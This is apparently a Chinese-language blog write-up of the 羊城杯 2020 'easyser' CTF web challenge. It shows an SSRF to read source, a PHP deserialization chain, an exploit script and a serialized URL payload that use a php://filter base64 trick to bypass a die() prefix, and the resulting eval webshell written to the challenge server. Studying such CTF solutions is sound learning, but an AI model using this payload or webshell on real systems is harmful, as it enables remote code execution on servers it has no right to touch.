[羊城杯 2020]easyser

[羊城杯 2020]easyser

扫描目录发现robots.txt,访问

image-20230628164658152

访问star1.php

image-20230628164746389

访问http://127.0.0.1/ser.php

image-20230628164836676

<?php 
error_reporting(0); 
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) { 
  highlight_file(__FILE__); 
} 
$flag='{Trump_:"fake_news!"}'; 

class GWHT{ 
  public $hero; 
  public function __construct(){ 
    $this->hero = new Yasuo; 
  } 
    #这里的 __construct()方法 有把类当作字符串赋值的操作,能够调用 __toString,但是他这里是new Yasuo ,他会调用Yasuo 类的hasaki函数,我们改成new Yongen就好了。
  public function __toString(){ 
    if (isset($this->hero)){ 
      return $this->hero->hasaki(); 
    }else{ 
      return "You don't look very happy"; 
    } 
  } 
    #调用hasaki()函数
} 
class Yongen{ //flag.php 
  public $file; 
  public $text; 
  public function __construct($file='',$text='') { 
    $this -> file = $file; 
    $this -> text = $text; 
     
  } 
  public function hasaki(){ 
    $d  = '<?php die("nononon");?>'; 
    $a= $d. $this->text; 
     @file_put_contents($this-> file,$a); 
  } 
} 
#文件写入
class Yasuo{ 
  public function hasaki(){ 
    return "I'm the best happy windy man"; 
  } 
} 

?> your hat is too black!
 public function hasaki(){ 
    $d  = '<?php die("nononon");?>'; 
    $a= $d. $this->text; 
     @file_put_contents($this-> file,$a); 
  } 
} 

他会把die 进入文件内容中,使的我们后面写入的恶意代码无法执行。

我们可以通过利用php伪协议流,写入base64编码,进行string.strip_tags过滤掉 再对文件内容进行解密,就得到了我们写入的 恶意代码,之前的被杂糅掉了,不影响我们后续的代码。

exp:

<?php
 
class GWHT{
    public $hero;
}
class Yongen{ 
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
    //<?php @eval($_POST[1]);?>
}
$a = new GWHT();
$a ->hero = new Yongen();
echo urlencode(serialize($a));

image-20230628170330358

image-20230628170400049

但是题目中没有找到传参入口,可以使用Arjun进行爆破:

image-20230628170856367

爆破出 path 和c。

payload:

http://node4.anna.nssctf.cn:28861/star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:36:"PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";}}

这样就写入了shell.php

然后使用webshell工具,连接shell.php:

image-20230628171128808

image-20230628171238962

posted @ 2023-06-28 17:15  Magic水瓶  阅读(71)  评论(0编辑  收藏  举报